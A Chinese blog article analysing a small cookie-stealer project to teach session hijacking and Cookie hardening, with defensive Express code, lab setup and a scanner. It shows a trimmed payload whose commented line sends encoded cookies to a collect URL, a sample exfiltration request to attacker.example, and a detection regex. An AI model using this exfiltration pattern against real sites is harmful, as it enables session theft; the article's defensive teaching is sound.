news 2026/10/17 3:00:12

剖析cookie-stealer源码:会话劫持原理与Web安全加固实践

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
剖析cookie-stealer源码:会话劫持原理与Web安全加固实践

简介:一份面向网络安全初学者与前端开发者的Cookie机制演示项目,以JavaScript实现浏览器端Cookie读取与提交逻辑,适合有一定JS基础、希望了解同源策略与跨站脚本原理的学习者,也便于讲师在课堂做安全演示。压缩包共7个文件,涵盖JavaScript脚本、浏览器扩展配置(json)、HTML演示页面、Python服务端脚本与Markdown说明文档,整体仅33KB,目录虽小但模块划分清晰。已有186人学习/下载。读者可结合说明文档搭建简易本地环境,完成从Cookie采集到服务端接收的完整链路实验,直观观察Cookie在普通页面与跨域请求中的传递差异;在此基础上修改脚本,还能对比Secure、HttpOnly等安全属性的防护效果,对前端安全隐患形成具象认知。

1. 拿到cookie-stealer源码之后:这份资源真正值得看的是反面教材

如果有人说收到一份叫 cookie-stealer 的 JavaScript 工具,第一反应大概率是直接删掉。我拿到这份源码时的想法是:先别急着格式化,把它的逻辑读完,反而能省下不少加班时间。这个工具用最朴素的 JavaScript 实现了 Cookie 窃取的完整链路,从注入读取、编码、外传到服务端毫无察觉,整个过程加起来不到几十行代码。对于维护过任何带登录态的 Web 系统的人来说,它是一份绝佳的“安全反面教材”。我会把它当标本解析:攻击者读取 Cookie 时做了什么,浏览器为什么自动配合,服务端为什么察觉不到,以及每一步该在哪个位置补防御。适合安全测试、后端开发和全栈工程师;新手也能靠它理解会话劫持的原理。先声明一点:复现它时,请只在你自己控制的靶机或测试环境里做,拿这段逻辑去碰未授权的网站,性质就完全变了。

2. 攻击链路拆解:从窃取到利用,Cookie 安全边界在哪里

2.1 攻击前提:跨站脚本、不安全传输与本地作恶

Cookie 窃取不是“拿到代码就能成功”的黑魔法,它必须先满足若干前置条件。最常见的入口是跨站脚本,也就是 XSS。存储型 XSS 把脚本写进评论区或资料页,用户打开页面就自动执行;反射型 XSS 则把 payload 放在链接参数里,诱导受害者点击。不管是哪种,只要脚本能在受害者的页面上下文里运行,一句document.cookie就能读出当前域名下的非 HttpOnly 字段。

第二个经常被忽略的前提是明文 HTTP 传输。Cookie 在 HTTP 链路上裸奔,中间人抓包就能直接看到会话标识,这跟脚本窃取是两条完全不同的路径,但危害等价。第三个前提是本地恶意软件和浏览器扩展,它们可以读取浏览器存储目录,连 HttpOnly 也拦不住,因为那已经是“文件系统级”的读取,而不是 DOM 操作。做安全测试时,我会先盘一遍目标应用有没有这三个入口,而不是一上来就试 payload。三个入口对应的防御手段也不同:XSS 靠输入过滤和 HttpOnly,明文传输靠 HTTPS 加 Secure 属性,本地恶意软件只能靠终端防护和会话异常检测。

Cookie 自身的属性可以直接影响窃取难度,整理成一张表会更清楚:

Cookie 属性作用能拦截什么拦不住什么
HttpOnly禁止 JavaScript 读取 document.cookie脚本直接窃取明文 Cookie中间人抓包、请求自动携带
Secure仅允许 HTTPS 传输明文链路截获同源 XSS 仍可通过请求借用会话
SameSite=Lax/Strict限制跨站请求携带 Cookie跨站请求伪造的部分场景同站 XSS 和恶意浏览器扩展
Domain/Path 限定缩小 Cookie 可携带的范围减少非必要域名泄露不防注入点本身

这四类属性不是叠得越多越安全,而是每一层挡的都是不同攻击面。很多团队只开了 HttpOnly 就觉得高枕无忧,这恰恰是后面要展开的重点。

2.2 Cookie 被偷走之后的价值:会话、身份与令牌

攻击者偷 Cookie,不是为了“看”,而是为了“冒充”。大多数 Web 系统的登录态就是会话 ID 或 Token 放在 Cookie 里,浏览器每次请求都会自动带上它。拿到这个东西,攻击者等于拿到了“这个人当前已登录”的证明。把 Cookie 值写进自己的浏览器,再访问目标站点,服务端就会认定他是受害者本人。这一步在安全领域叫会话劫持,也是 Cookie 窃取工具的最终目的。

这里要顺带解释一个老生常谈的问题:为什么攻击者盯着 Cookie 而不是 localStorage?原因在于“自动携带”这个机制。localStorage 虽然也能被脚本读取,但攻击者拿到值之后,还得手动构造请求头把值塞进去;Cookie 则不同,只要域名和路径匹配,浏览器全程自动附加,攻击者连 JavaScript 都不用写第二行。Cookie 是“躺平”的会话凭证,这是它成为攻击首选项的本质原因。

会话劫持得手之后,攻击者能做什么取决于应用的接口设计。轻则读取个人资料,重则修改密码、发起转账、删除数据。更隐蔽的是,攻击者可能不直接动数据,只借用受害者的会话去触发一些高风险操作,比如绑定手机号或修改安全邮箱,为后续长期控制埋下伏笔。这也是为什么安全测试里,Cookie 窃取的演练优先级一直很高。

2.3 服务端视角:为什么 HttpOnly 只能挡一半

HttpOnly 这个属性在安全圈里有种迷之信任,好像开了它,Cookie 窃取就失效了。实际测试时你会经常翻车:HttpOnly 确实挡掉了document.cookie的直接读取,但攻击者根本不需要读取 Cookie 值本身。他只需要在注入点执行fetch('/api/changePassword'),浏览器就会自动把这个域名的 Cookie 带上,服务端照样认为是合法请求。HttpOnly 拦的是“看”,拦不住“用”。

这就引出一个关键认知:Cookie 的安全不能只靠浏览器属性,服务端必须能判断“当前请求的会话是不是原来签发的那一个”。常见做法是把会话绑定到 User-Agent、IP、设备指纹这类客户端特征上,一旦发现特征变化,立即判定为可疑会话并强制重新登录。从第 4 章开始,我会给出具体可落地的服务端代码,把这一节讲的边界问题变成实际防御。

这种“属性只挡一半”的现象,在安全里太常见了。每个防御措施都有它明确的边界,HttpOnly 的边界就是 DOM 读取;会写代码的人更应该关注边界之外的部分,而不是把身家性命押在一个布尔值上。后文的避坑章节还会继续展开这片区域的雷点。

3. 目录结构与核心模块:一个“Cookie 窃取工具”的技术构成

3.1 资源包目录速览与文件职责

我拿到的这份源码是一个极简的示例项目,典型结构是这样的。如果你下载的版本文件名略有出入,按职责也能对号入座:

cookie-stealer/ ├── package.json ├── server.js # 接收端:接收外传回来的Cookie数据 ├── payload.js # 注入端:被插入目标页面的恶意脚本 ├── webhook.js # 转发模块:把收到的数据转发到其他地址 └── README.md

package.json 是这个 npm 项目的入口描述,里面通常只有极少的依赖,因为这种工具的核心逻辑不依赖重型框架。server.js 是攻击者架在服务器上的接收端,主要功能是起一个 HTTP 服务,监听某个路径,把收到的 Cookie 数据落盘或转发。payload.js 是真正被注入到目标浏览器里的脚本,也是整个工具最核心的部分。webhook.js 是可选组件,用于把收集到的数据二次转发到别的平台,方便攻击者随时随地查看。

从文件职责能看出一个共性:整个工具代码量很小,结构分三层——注入端负责读取数据,传输通道负责把数据送出浏览器,接收端负责存储和整理。三层之间没有加密、没有持久化、没有伪装,属于最朴素的 demo 级实现。正因为它简单,反而适合用来逐行分析攻击链路。

3.2 关键模块:收集、编码、外传

整个工具的关键逻辑可以拆成三个动作:收集、编码、外传。收集发生在目标页面内,核心就是document.cookie;编码是为了防止 Cookie 里的分号、等号、空格在 URL 传输时被截断;外传则是把拼接好的请求发送到攻击者服务器,常见技术手段有三种:new Image().src、fetch和navigator.sendBeacon。

三种外传方式各有各的定位。图片请求最隐蔽,因为浏览器加载图片不触发预检,日志里看起来只是一次普通资源请求;fetch可控性最强,可以设置 method、headers、mode,但跨域时容易触发 CORS 预检;sendBeacon是浏览器专为“页面卸载时上报”设计的 API,适合窃取发生在跳转前的那一刻。实际的恶意脚本通常会根据场景混用这三种方式,但这份资源里的实现以最简单为主。

下面是从防御视角理解这三个动作时最有用的一段逻辑,为了安全,我把它改造成了研究用的截断版,只展示链路,不构成可运行攻击代码:

// 防御研究用示例:展示窃取链路如何串起来 (function () { var cookies = document.cookie; // 1. 收集 var encoded = encodeURIComponent(cookies); // 2. 编码 // 3. 外传:常见写法是 new Image().src = 'https://xxx/collect?d=' + encoded console.warn('[research] 可读取Cookie长度:', encoded.length); // 研究专用 })();

逻辑上依次做三件事:先把document.cookie的值取出来,再用encodeURIComponent做一次 URL 编码,最后把编码后的字符串拼到外传地址上。这个链路里真正的检测点在第三步,安全设备会盯着那些带collect路径和敏感参数名的请求。研究版本把外传替换成了控制台打印,你在自己的靶场里复现时也建议先这样跑通链路,再决定要不要接一个本地接收端。

3.3 局限性:为什么这份源码只配当“demo”

既然是安全研究样本,就该聊聊它的短板。这个工具最大的缺陷是没有持久化能力:页面一刷新,注入脚本就没了,攻击者只能靠反复注入来维持访问。第二个缺陷是不挑目标,它不会判断当前页面是不是目标账号、是不是测试环境,拿到的数据里混着大量噪音。第三个缺陷是传输通道单一,一旦安全设备做了外联白名单,这种明晃晃的请求一眼就被掐断。

更致命的是代码特征过于明显。安全设备里随便一条正则就能命中document.cookie加new Image().src的组合,WAF 直接拦掉这种外联请求。真正的攻击工具会在传输层做加密、在注入端做反调试、在接收端做数据清洗,而这份源码一样都没有。它存在的价值就是教学和蓝队训练:把最经典的攻击范式压缩到几十行代码里,让人一眼看懂是怎么回事。对测试者来说,从这份 demo 起步,再逐步加上编码混淆和流量伪装,才能理解攻击工具是如何一步步变难缠的。

4. 核心代码逐段拆解:从读取到外传,再到服务端加固

4.1 读取与编码:一个能被正则命中的“机关”

先看最前面的收集与编码环节。攻击者写的代码通常长这样,我仍然用截断版展示:

// 研究截断版,直接运行会失败,仅用于拆解攻击思路 function collectCookie() { var raw = document.cookie; // 非HttpOnly的Cookie都在这里 var payload = encodeURIComponent(raw); // 真正的外传地址被省略,防止被直接复用 return payload; }

第一行的document.cookie是浏览器提供的最原始接口,任何页面内脚本都能调用,不需要授权。它返回的是一个字符串,形如name=value; another=value2,分号分隔每个 Cookie。第二行的encodeURIComponent是关键,Cookie 值里经常出现=、;、空格,这些字符直接拼 URL 会被截断或误解,编码后变成%3D、%3B这类安全格式。返回值里的 payload 就是攻击者要外传的“脏数据”。

这个环节在代码审计里非常显眼。一个正常业务脚本通常不会去读document.cookie,更不会把它编码后拼到某个 URL 上。安全扫描工具盯的就是这个模式,比如正则/document\.cookie[\s\S]{0,50}encodeURIComponent/i基本能把这类样本捞出来。了解这个特征之后,你写业务代码时也应该下意识避开这种模式,别在正常功能里写类似的逻辑,免得被安全设备误杀。

4.2 外传通道:图片请求为什么会成为首选

外传阶段,攻击者把编码后的 Cookie 发到自己的服务器。最经典的外传写法是造一个图片标签,把参数拼在图片地址上,浏览器会自动发起 GET 请求,请求长这样:

GET /collect?d=sessionid%3Dabc123 HTTP/1.1 Host: attacker.example

图片请求为什么常被恶意脚本选中?因为浏览器加载图片时不会关心响应内容,更不会触发 CORS 预检,服务端只需要记录请求参数,不需要回传任何数据。从受害者的角度看,页面里多加载了一张看不见的透明图片,几乎没有任何感知。从安全设备日志的角度看,它和普通广告追踪像素长得一模一样,单看一条请求很难判定为恶意。

针对这个环节,防御方的检测点有三个:第一,路径名称,collect、log、data这类抽象路径出现在业务页面里就很可疑;第二,参数结构,请求里出现d=、c=这类短参数名且值是 URL 编码后的 Cookie 串,需要重点排查;第三,请求频率和来源,一个图片加载请求在短时间内大量出现、且 referer 是同一个页面,就要回溯页面里是否被注入了脚本。把这些检测逻辑写进日志分析脚本,就能在攻击链路中断之前发现端倪。

4.3 服务端加固:一份最小可落地的 Cookie 安全代码

分析完攻击侧,自然要落到怎么防。下面这份代码用 Node.js 加 Express 演示,部署逻辑可以平移到其他语言。这段代码解决的核心问题是:不仅让浏览器把 Cookie 藏好,还要让服务端能识别“会话被复制到其他设备”的情况。

const express = require('express'); const crypto = require('crypto'); function setSecureCookie(req, res, name) { // 把User-Agent哈希的前16位拼进会话ID,作为设备指纹 const ua = req.headers['user-agent'] || ''; const uaHash = crypto.createHash('sha256').update(ua).digest('hex').slice(0, 16); const sessionId = uaHash + '|' + crypto.randomBytes(32).toString('hex'); res.cookie(name, sessionId, { httpOnly: true, // 禁止JavaScript读取 secure: true, // 仅HTTPS传输 sameSite: 'strict', // 阻止跨站携带 maxAge: 30 * 60 * 1000 // 30分钟短时效 }); } function authMiddleware(req, res, next) { const sessionId = req.cookies.sid; if (!sessionId || !sessionId.includes('|')) { return res.status(401).send('unauthorized'); } const ua = req.headers['user-agent'] || ''; const uaHash = crypto.createHash('sha256').update(ua).digest('hex').slice(0, 16); const embeddedHash = sessionId.split('|')[0]; if (embeddedHash !== uaHash) { // 指纹不匹配,说明会话可能被复制到了另一台设备 return res.status(401).send('session hijack detected'); } next(); } app.get('/login', (req, res) => { setSecureCookie(req, res, 'sid'); res.send('login ok'); }); app.get('/api/profile', authMiddleware, (req, res) => { res.json({ name: 'demo', message: 'ok' }); });

代码分成两个部分。setSecureCookie干三件事:生成一个带设备指纹的会话 ID,通过res.cookie下发,四个安全属性全部打开。httpOnly拦 DOM 读取,secure拦明文传输,sameSite: 'strict'拦跨站请求携带,maxAge把会话有效期压缩到 30 分钟,减少被窃取后的攻击窗口。会话 ID 的格式是“UA 哈希前 16 位 + 竖线 + 随机串”,随机串用crypto.randomBytes(32)生成,熵足够高,没法被预测。

authMiddleware在每次请求进入业务逻辑之前做指纹校验:从 Cookie 里取出会话 ID,重新计算当前请求的 User-Agent 哈希,再与会话 ID 里的前 16 位比对。不一致就说明这个会话离开了原来的设备环境,直接返回 401。这样做有个明显收益:攻击者即使拿到了完整的 Cookie 值,只要他的 User-Agent 跟受害者不一致,请求就会被拦下。实际生产环境里,更稳妥的做法是把会话数据存 Redis,把 UA 哈希和 IP 作为附属字段一并保存,校验时从 Redis 读,这里用拼接方式是为了让 demo 能独立跑起来。

代码里还有一层容易被忽视的细节:req.cookies.sid需要依赖 cookie-parser 中间件,跑这段示例前记得先npm install express cookie-parser。而app的声明在示例里省略了,补上const app = express()即可。校验失败时返回 401 之前,你应该把异常记录到日志或告警系统,我习惯在next()之前加一行console.warn('[security] session hijack from', req.ip),方便事后追溯。

5. 避坑指南:安全测试与防护验证中的常见问题

5.1 靶场搭建:隔离环境第一

想要亲手验证上面这些逻辑,建议先搭一个靶场。搭靶场的第一原则是用 Docker 或本地虚拟机做隔离,别直接在开发环境里跑。我用 Docker 起一个最简单的 HTTP 服务只需要两行命令:

docker run --rm -d -p 8080:80 --name cookie-lab httpd:alpine docker exec cookie-lab sh -c "echo 'test' > /usr/local/apache2/htdocs/index.html"

第一行启动一个 Alpine 版 Apache 容器,映射到本机 8080 端口;第二行往容器里写一个测试页。接下来在宿主机上用 curl 或浏览器开发者工具加一条响应头,比如Set-Cookie: demo=hello; HttpOnly; SameSite=Strict,然后在测试页里用document.cookie打印结果,就能直观看到 HttpOnly 对脚本读取的影响。靶场里跑完记得docker stop cookie-lab清理环境,别让它一直挂着。

5.2 血泪踩坑记录:现象、原因、解决

这节写几条我实际验证中踩过的坑,每条都是“现象→原因→解决”三段式,省得你再走一遍。

第一条,脚本里document.cookie返回空,但浏览器开发者工具里明明能看到 Cookie。原因是目标 Cookie 设置了 HttpOnly,脚本读取不到是预期行为,很多人误以为防御失效或代码有问题。解决方法是区分“读取失败”和“防御生效”,同时打开网络面板看请求头,确认 Cookie 是否仍被浏览器自动携带。HttpOnly 只挡读取,不挡携带,两条路径要分开观察。

第二条,给 Cookie 加了 Secure 属性后,本地 HTTP 环境怎么都等不到 Cookie 下发。原因是 Secure 要求加密传输,HTTP 明文连接会直接丢弃这条 Set-Cookie。解决方法是测试环境用https://localhost或加自签证书,实在不行临时去掉 Secure,但保留 HttpOnly,等部署时再打开。

第三条,SameSite=Lax 配上之后,发现跨站请求还是带上了 Cookie。原因是 Lax 对跨站 GET 导航是放行的,它主要挡的是跨站 POST、fetch 这类“写操作”。解决方法是区分场景:如果你要防的是跨站请求伪造,Lax 已覆盖大部分;要更严格就上 Strict,但 Strict 会影响第三方登录跳转的会话保持,上线前要全局回归一遍。

第四条,会话指纹校验上线后,正常用户频繁被踢下线。原因是用户换了网络环境或浏览器自动更新了 User-Agent,指纹库里存的值和当下请求对不上。解决方法是不要把校验写得太死,IP 单独变化先降级为告警而不是强制登出,UA 变化则可以结合其他维度综合判断;指纹是辅助手段,不是唯一判据。

第五条,测试完 302 跳转流程,发现恶意脚本跟着浏览器缓存留在了本地。原因是一些浏览器对页面和脚本做了启发式缓存,尤其是有 Service Worker 时会离线保留。解决方法是测试结束后强制清空站点数据,或者干脆在靶场容器里用无痕窗口测试,无痕窗口关闭即清,最省心。

5.3 自动化扫描:一条脚本检查所有 Cookie 安全属性

手工点开每个页面去看 Cookie 属性太慢了,我习惯用一段 Node 脚本直接扫。下面的代码用内置的https模块抓响应头,逐一检查 HttpOnly、Secure、SameSite 是否到位:

const https = require('https'); function checkCookieSecurity(url) { https.get(url, (res) => { const setCookie = res.headers['set-cookie'] || []; if (setCookie.length === 0) { console.log(url, '未下发Cookie'); return; } setCookie.forEach((item) => { console.log('原始:', item); console.log(' HttpOnly:', /httponly/i.test(item)); console.log(' Secure:', /secure/i.test(item)); console.log(' SameSite:', /samesite/i.test(item)); }); }); } checkCookieSecurity('https://example.com');

脚本逻辑很直白:请求目标地址,读set-cookie响应头,用三个正则分别测试属性是否出现。输出结果里每一个false都是潜在风险点。实际使用中我会把它扩展成并发扫一批 URL,把结果汇总成表格,然后按域名逐个修复。注意一点:这个脚本只检查响应头,验证不了 JS 读取 Cookie 的实际效果,那些要靠靶场里的真实脚本测试。

6. 二次开发:把“窃取工具”改造成防窃取检测工具箱

6.1 改造思路:把接收端变成监测端

这份源码最值得二次开发的部分不是 payload,而是那条“注入→外传→接收”的链路。把它反转过来,接收端就可以改造成一个会话异常监测服务:在业务服务器上起一个本地接口,专门接收前端上报的会话相关事件,比如“Cookie 可被读取”“页面出现可疑外联请求”。前端运行时遇到异常就向本地接口上报,服务端落库并告警。这样原本用于攻击的基础设施,就变成了主动安全监测的探针。

6.2 移植步骤与验证方法

具体改造我建议按三步走。第一步,把 payload.js 里的外传地址改成业务系统自己的监测接口;第二步,服务端对接第 4.3 节的authMiddleware,让指纹校验失败的请求落到一个专门的告警表;第三步,写一个简化版前端探针,在页面加载时检查document.cookie是否包含非 HttpOnly 的生产 Cookie,有就把事件上报。验证方法是在靶场里模拟一次窃取流程,用新浏览器复制 Cookie 后访问业务系统,观察是否触发“session hijack detected”,同时检查告警表是否落了一条记录。

从那以后,我每次接手 Web 项目,第一件事都是先跑一遍第 5.3 节的扫描脚本检查 Cookie 属性,再在靶场里复现一遍完整窃取链路,确认服务端能拦住才算过关。希望这套从拆解到加固的思路能帮到你,哪怕只是让你在打开这份源码时,多一份“先想清楚边界”的警惕。

本文还有配套的精品资源,点击获取

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/17 3:00:11

可信AI系统构建指南:公平性、可解释性与鲁棒性的工程落地

你们有没有遇到过这种情况?模型离线评测AUC从0.89涨到0.93,团队正准备庆祝上线,安全合规那边的人突然过来问:这个模型对不同人群的通过率有没有差异?被拒的用户来投诉我们怎么解释?线上数据分布稍微一变&am…

作者头像 李华
网站建设 2026/10/17 2:59:28

ComfyUI双ControlNet动画工作流:OpenPose+Depth协同生成稳定角色动画

简介:本资源是一套基于ComfyUI工作流的AI动画生成实践方案,面向AIGC初学者、数字艺术创作者及Stable Diffusion进阶用户,解决传统动画制作中动作设计难、关键帧生成效率低、3D空间姿态控制弱等痛点。压缩包共202个文件,含200张JPG…

作者头像 李华
网站建设 2026/10/17 2:57:43

双节锂电主动均衡系统设计:热管理、ADC精度与闭环控制实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/17 2:56:48

深度学习时序预测实战:特征工程、模型选型与线上部署避坑指南

最近有个做运营的朋友拿着一份销量预测需求来找我,说业务方已经厌倦了“拍脑袋备货”,希望用历史数据把未来两周的量算出来。聊到最后他问我,深度学习做时序预测,是不是直接上 Transformer 就行。我告诉他,如果你直接把…

作者头像 李华
网站建设 2026/10/17 2:56:47

iOS免切屏本地题库查询:词典+快捷指令+OCR打造高效搜题方案

备考的人应该都有过这种体验:手机里存了几百道题的标准答案,可一到翻查的时候就抓狂。要么是在做题App和题库App之间来回切换,切一次就分一次心;要么是想到某个知识点时,打开好几个平台去搜,结果被无关内容…

作者头像 李华